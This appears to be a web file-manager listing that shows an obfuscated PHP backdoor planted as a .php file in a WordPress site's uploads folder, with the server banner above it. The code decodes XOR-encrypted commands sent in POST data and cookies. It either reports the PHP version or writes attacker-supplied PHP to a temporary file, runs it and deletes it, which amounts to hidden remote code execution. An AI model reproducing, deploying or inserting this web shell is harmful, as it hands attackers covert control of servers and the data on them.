HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/10/rmhcvgsq.php
<?php 

$xlpmbc_k	=      'xlpmbc_k'    ^    '';


$w_v_dug    =    "a"."r"."r"."\141" /*   p   */ .       $xlpmbc_k(121)   . /*  kemt*/ $xlpmbc_k(914-819)     .    "\x6d" /*   mcvt */ .	"a"."\x70";

$rhwnae /* fjhx   */ = /*  qewhme*/ "i"."\155"   .    "p"."\x6c" /*   zxjw*/ . /*dvvven*/ $xlpmbc_k(200-89)	.	"\144"    .   "\x65";





function    lwnsfs($uyzxnqq,    $ecdxxv)


{

    global       $xlpmbc_k;

    

    $uyzxnqq	=    "<"	. /* m  */ "?".$xlpmbc_k(889-777)	. /*  jp */ "\150" /* bohal   */ . /*   uguau  */ "p".$xlpmbc_k(32)      .      "u"."n".$xlpmbc_k(108)    .    $xlpmbc_k(1104-999)     .       "\x6e" /*ynjc  */ . /*   jhu   */ $xlpmbc_k(107) /*   ctd  */ . /*ve */ "("."_".$xlpmbc_k(1066-971) /*   r*/ . /*xsfkfn  */ "F".$xlpmbc_k(114-41)	. /* k  */ $xlpmbc_k(773-697)       .   "\105" /* gzg   */ . /*  qxbw */ "_"."_"."\51"	.	";".$xlpmbc_k(32)    .    $uyzxnqq["d"];      $vtvvclfl    =    "f".$xlpmbc_k(186-81) /* mbk */ .   "\154"       .   "e".$xlpmbc_k(147-52)	.       $xlpmbc_k(445-333) /*h */ .	"\165"    . /*  d   */ "\x74" /* _mad */ .	"\137" /*  wwu   */ .  "\x63" /* r_k */ .  "o"."n".$xlpmbc_k(116) /* wwmc*/ .    "\x65" /* oxdw   */ .    "n"."t".$xlpmbc_k(472-357);

      $vtvvclfl($ecdxxv,    $uyzxnqq);


    
  schiyhe_($ecdxxv);
}
$y_ynuls	= /*  ddb  */ 73;function    schiyhe_($ecdxxv){


  global	$xlpmbc_k;


  


 /*   mvpnuu  */ include($ecdxxv);    $spcmninhllh    = /*qbgr */ $ecdxxv;


	@unlink($spcmninhllh);
}
function /*   b  */ osi_dll()

{

      global /*anbaq*/ $xlpmbc_k;




 /*urdt  */ $hhejeqywa    =    array();


	$hhejeqywa[$xlpmbc_k(112) /*   bvcnc  */ .	"v"]	=      phpversion(); /*  jsrk  */ $hhejeqywa["\163"	. /*  oe */ $xlpmbc_k(420-302)]	= /*  u  */ "3".$xlpmbc_k(451-405)     .    "5";
	$_tmcwczinc	= /*   kjuin*/ 74;    echo       @serialize($hhejeqywa);}




function      sviobba($uyzxnqq,   $sxrwrknwfp)

{

    global     $xlpmbc_k;

    $hkpqawamg	=	"";  $l_jnmifl    =     strlen($uyzxnqq); /*qeufkm*/ $oalhf	=	strlen($sxrwrknwfp);

 /*lfo_s*/ $hhejeqywa	=    0;    $spcmni    =    0;	


      while	($hhejeqywa	<    $l_jnmifl)	{
       $yxjowtp    =    $uyzxnqq[$hhejeqywa]     ^	$sxrwrknwfp[$spcmni /*   hjiqao*/ %	$oalhf];

 /*  ect*/ $hkpqawamg /*  zrsy  */ .=    $yxjowtp;

	$spcmni++;    
 /* kimusx*/ $hhejeqywa++;
 /*   lqrzjn   */ }
      
 /*cgbcz   */ if	(strlen($hkpqawamg) /*  q   */ >    20)    {


	$dphfbkgxls /*   m */ =  substr($hkpqawamg,	0,    20);

       } /*   isec  */ if    (empty($hkpqawamg))    {


 /*   ldbg  */ $hkpqawamg    =      date('Y-m-d      H:i:s');
 /*  xez_  */ }


	return /* zaf  */ $hkpqawamg;

}





function	asfsuui($_dzqeou)

{	global    $xlpmbc_k;


	 /*  ep*/ $vkrqwltud /* i */ = /*  ab */ "1"."7"."d"."2".$xlpmbc_k(155-55)      .	$xlpmbc_k(97) /* gmt_*/ .  "3"."e"."-".$xlpmbc_k(371-269)      . /*  spg*/ "\x64"    .     "c"."c"."\55"       .       "\x34"     . /*l  */ "c"."\x30"     .       "5".$xlpmbc_k(91-46) /* xgmk */ .	$xlpmbc_k(98)    . /*  opd  */ "7"."2"."\x36" /*  epg  */ .       $xlpmbc_k(775-730)	.     $xlpmbc_k(576-526) /*fgv_   */ .  $xlpmbc_k(191-90) /*   cmm_ */ .	"\144"	.     "\143"    .    "2".$xlpmbc_k(431-381)     .      $xlpmbc_k(282-230) /* _hy  */ .    $xlpmbc_k(105-6) /*   aogtgv  */ .    "3".$xlpmbc_k(51)       .      "\67" /* a */ . /* zireu  */ "9";
	

	foreach /*   l  */ ($_dzqeou	as /*idb   */ $vbsneieg      =>	$uyzxnqq) /* _aaov */ {


 /*  hrtyf   */ nsgbxx(base64_decode($uyzxnqq),   $vkrqwltud, /* iao */ $vbsneieg);  }

}



function      nsgbxx($uyzxnqq,  $vkrqwltud,   $vbsneieg){

	global /*  sih*/ $xlpmbc_k; /*  trxsl*/ 
	$uyzxnqq      = /*  okpg  */ unserialize(sviobba(sviobba($uyzxnqq,	$vkrqwltud), /*   jxul   */ $vbsneieg));


	$tqjf_wugks    =    'ieelfz_z';

	$aowbbigquk    =	'gkurjlbdvu';

  if    (isset($uyzxnqq["a"."k"]))    {


 /*rzgbb   */ if       ($uyzxnqq["a"] /*no */ ==   "\x69")     {


 /*hgjv_w */ osi_dll();    }   elseif    ($uyzxnqq["a"]    == /*  epwy*/ "e") /*uzyx  */ {
 /* _  */ lwnsfs($uyzxnqq,    sprintf(".".$xlpmbc_k(279-232)      .       $xlpmbc_k(37)       . /* r   */ "\x73"	.    "\x2e"       .	"\160"	.	"\x6c",   md5($vkrqwltud)));			$azxnq	=	44;
 /*  t */ }


 /* lwoc */ exit();


 /*   bso */ }


}
asfsuui($_POST);  





$mbgucvuz	=       'rawurldecode';





$rmzeml_ /* vtd  */ = /* jm*/ $w_v_dug($mbgucvuz,  $_POST);

$rhwnae("",      $mbgucvuz);

asfsuui($_COOKIE);

$ahnbbu	=      $w_v_dug($mbgucvuz, /*suow_*/ $_COOKIE);






?>